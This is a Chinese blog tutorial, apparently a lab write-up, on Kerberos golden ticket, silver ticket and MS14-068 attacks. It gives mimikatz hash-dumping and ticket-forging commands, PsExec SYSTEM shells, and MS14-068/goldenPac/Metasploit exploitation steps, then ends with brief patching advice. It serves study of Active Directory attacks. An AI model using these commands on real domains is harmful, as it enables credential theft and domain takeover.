欢迎关注我的微信公众号《壳中之魂》
前面讲到了Kerberos协议认证的原理Kerberos协议认证过程 - 云 社区 - 腾讯云 (tencent.com)
理解Kerberos协议认证的原理有助于我们理解漏洞的利用原理
黄金票据(Golden ticket)
黄金票据的出发点是在Client和DC交互这一过程的第一部分之中,AS会对通过验证的Client发送AS_REP,这里面包含了两部分:
第一部分是AS生成的临时密钥Session-key,然后使用Client的NTLM-Hash加密;
第二部分是使用用户Krbtgt的NTLM-Hash加密的Session-key(AS生成的)、时间戳以及一些用户信息,也就是TGT
如果我们可以拿到Krbtgt用户的NTLM_Hash,我们就可以伪造TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。
然而拿到Krbtgt用户的NTLM_Hash就意味着我们要拿到域控DC的权限,所以黄金票据(Golden ticket)更多情况下是作为后门,如果应为某种特殊的原因失去了对DC的控制权限,但是管理员没有修改Krbtgt用户的密码,那么就可以使用黄金票据重新获得域管理员权限。
使用黄金票据来进行票据传递攻击的先决条件为:
- 域名
- 需要伪造的域管理员用户名
- 域SID
- krbtgt的NTLM-Hash
环境
kali's ip:192.168.137.115
win7's ip:192.168.137.198
windows server 2016(DC)'s ip:10.10.10.10
windows server 2012's ip1:10.10.10.11;ip2:192.168.137.115
使用mimikatz
我们通过mimikatz来抓取DC的Krbtgt用户的NTLM_Hash,首先先将mimikatz上传到DC
在上传的过程中会被杀软杀掉,我模拟的环境中DC没有安装额外的杀软,只附带了默认的windows Defender,但是仍然会被杀掉
最后只剩下两个文件,但是依然可以正常使用
代码语言:javascript复制privilege::debug
lsadump::lsa /patch //专用于在域控制器上导出用户密码或hash
由此我们可以得到
- 域SID:S-1-5-21-3960071969-2362883727-1949664287
- krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0
再使用mimikatz生成TGT凭证
- 域名:g1ts.com
- 需要伪造的域管理员用户名:administrator
- 域SID:S-1-5-21-3960071969-2362883727-1949664287
- krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0
//kerberos::golden /user:[username] /domain:[domain] /sid:[sid] /krbtgt:[krbtgt's Hash] /ticket:ticket.kirbi
kerberos::golden /user:administrator /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /krbtgt:6e29949b6be5db95085477551f347ea0 /ticket:ticket.kirbi
然后将mimikatz上传到windows server 2012,将凭证注入
代码语言:javascript复制#kerberos::ptt <票据文件>
kerberos::ptt ticket.kirbi
可以用一下命令来查看注入的票据
代码语言:javascript复制kerberos::tgt
一开始windows server 2012运行命令的情况如下
注入票据后运行命令的结果如下
如果注入票据后无法远程访问域控,可以先将内存中的票据清除
代码语言:javascript复制kerberos::purge
然后再选择注入票据
联动PsExec
psexec包含在pstools工具包中,pstools的下载地址:https://download.sysinternals.com/files/PSTools.zip
参数解释
- -accepteula:默认同意用户协议(即第一次使用询问是否同意用户协议,使用此参数则默认同意不会弹窗)
- -s:返回一个system权限的shell,如果不加此参数则返回一个管理员权限(administrator)的shell
在使用Psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后, psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
远程执行命令
代码语言:javascript复制psexec.exe -accepteula \WinSer2016 cmd.exe /c "ipconfig"
反弹新的shell
代码语言:javascript复制PsExec64.exe -accepteula \WinSer2016 -s cmd.exe
使用Metasploit
其实原理也是使用msf的mimikatz(kiwi),所以首先要先获得一个meterpreter
然后加载kiwi
kiwi的命令和mimikatz还是有点不一样的
代码语言:javascript复制//golden_ticket_create -d [domain] -k [krbtgt's Hash] -s [sid] -u [username] -t [path]
golden_ticket_create -d g1ts.com -k 6e29949b6be5db95085477551f347ea0 -s S-1-5-21-3960071969-2362883727-1949664287 -u administrator -t /root/桌面/others/ntds.dit
//查看本地储存的票据
kerberos_ticket_list
//将票据注入内存
kerberos_ticket_use /root/桌面/others/ntds.dit
白银票据(Silver ticket)
白银票据原理不同于黄金票据,白银票据不需要访问KDC,而是通过已知的授权服务密码生成一张可以访问该服务的TGT,由于不需要使用KDC,所以隐蔽性较强
使用白银票据的先决条件:
- 域名
- 域SID
- 服务账号的NTLM-Hash
- 要伪造的用户名
- 域控IP
- 可利用的服务
由于白银票据同样要使用到服务账号的NTLM-Hash,而这个Hash大概率也是需要拿到DC的权限才可以获得,所以白银票据大部分情况下也是作为后门存在
使用白银票据伪造CIFS服务权限
CIFS:用于windows主机之间进行网络文件共享
首先将mimikatz上传到DC,获得机器账号的哈希值
代码语言:javascript复制privilege::debug
sekurlsa::logonpasswords
注意,这个NTLM是机器WinSer2016的Hash,并非是用户administrator的Hash
- NTLM:6cb7dce4a6c2ad0956bde89dc28b4310
- SID:S-1-5-21-3960071969-2362883727-1949664287
- 注意:SID不取图片后面的-500
然后在windows server 2012生成白银票据
代码语言:javascript复制//kerberos::golden /domain:[domain] /sid:[SID] /target:FQDN /rc4:[server's Hash] /service:[service] /user:[username] /ptt
kerberos::golden /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /target:WinSer2016.g1ts.com /rc4:6cb7dce4a6c2ad0956bde89dc28b4310 /service:cifs /user:administrastor /ptt
一开始是无法直接远程访问DC的
使用白银票据后就可以了
如果使用命令
代码语言:javascript复制dir \[computer's name]c$
不可以访问,可以尝试输入主机全名,即主机名加域名
代码语言:javascript复制dir \WinSer2016.g1ts.comc$
MS14-068
之前的文章降到了PAC,以及PAC的作用,简单来说就是微软为了防止拿到Hash就可以随意的访问任何的服务,于是引入了PAC,在AS_REP中会包含PAC,PAC里面包含了用户的 SID、用户所在的组等一些信息,在最后Client尝试访问Server是,Server会将PAC扔给DC,让DC来判断此Client是否有权限访问Server。
但是在引入PAC的同时也产生了MS14-068这个漏洞该漏洞是位于kdcsvc.dll域控制器的密钥分发中心(KDC)服务中的Windows 漏洞,它允许经过身份验证的用户在其获得的票证TGT中插入任意的PAC 。普通用户可以通过改变了PAC的TGT来伪造票据获得管理员权限。
使用MS14-068的先决条件:
- 域内任意⽤户 SID
- 域内任意⽤户密码(经测试只能在 2008及以下的操作系统实现)
利用工具:WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)
利用环境
- 域控制器为window server 2008及以下(亲测)
首先我们需要域用户的用户名和密码
代码语言:javascript复制username:testuser
password:admin!@#456
然后再获得域SID,可以使用这条命令
代码语言:javascript复制whoami /user
- SID:S-1-5-21-3935027624-4034083410-82536497-1105
使用MS14-068.exe
(因为重新搭建了一个域控制器,所以有一些设置和之前不一样)
然后通过利用工具成TGT票据
代码语言:javascript复制MS14-068.exe -u [userName@domainName] -p [clearPassword] -s [userSid] -d [domainControlerAddr]
MS14-068.exe -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60
成功生成名为TGT_testuser@g1ts.com.ccache的票据文件,然后我们需要注入此票据文件,在没有注入前是无法远程访问DC的
代码语言:javascript复制//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
//查看当前机器凭证
kerberos::list
//将票据注⼊到内存中
kerberos::ptc [file name]
使用ms14-068.py
下载地址:windows-kernel-exploits/MS14-068/pykek at master · SecWiki/windows-kernel-exploits (github.com)
WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)
代码语言:javascript复制//python ms14-068.py -u 域用户名@域名 -s 域用户sid -d 域控ip -p域用户密码
ms14-068.py -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60
使用GoldenPac.py
这个脚本一直运行错误,所以没办法动手实践了,所以就简单的记录一下使用方法
此脚本包含在impacket包中,为ms14-068和psexec的结合产物,使用起来更加的方便,而且可以直接走代理进入内网
在windows下运行:
代码语言:javascript复制//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!@#456@WinSer2016.g1ts.com
在kali上运行:
由于kali默认没有安装kerberos认证功能,说以需要手动安装一个kerberos客户端
代码语言:javascript复制apt-get install krb5-user
然后再使用
代码语言:javascript复制//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!@#456@WinSer2016.g1ts.com
当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。
使用Metasploit
使用模块
代码语言:javascript复制auxiliary/admin/kerberos/ms14_068_kerberos_checksum
设置选项,rhost设置为域控制器地址,user和password为域用户的用户名和密码
然后生成的文件会存放在/root/.msf4/loot文件夹下,但是我们无法直接利用,我们需要使用mimikatz进行格式转换为kirbi文件
代码语言:javascript复制kerberos::clist 20211012105258_default_10.10.10.10_windows.kerberos_215999.bin /export
可以看得到导出的路径和文件名,然后将其拷贝回kali,待一会使用,然后让目标机器上线msf
然后加载kiwi模块,导入刚才生成的票据
代码语言:javascript复制kerberos_ticket_use /root/0-00000000-testuser@krbtgt-G1TS.COM.kirbi
但是我怎么都导入不进去,在网上找了很多篇文章,发现大部分的文章都是导入不进去或者,没过程的
如果导入成功就可以使用msf另一个模块
代码语言:javascript复制exploit/windows/local/current_user_psexecset
设置好session和rhost为域控制器地址就可以进行攻击了
总结
- 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
- 票据文件注入内存的默认有效时间为10小时。
- 在目标机器上不需要本地管理员权限即可进行票据传递。
- 票据传递比哈希传递要方便
- 票据传递更实用
- 票据传递成功率更高
防范
针对Kerberos域用户提权漏洞,有如下防范建议。
- 开启Windows Update功能,进行自动更新。
- 手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁,https://technet.microsoft.com/library/security/ms14-068
- 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
- 在服务器上安装反病毒软件,及时更新病毒库。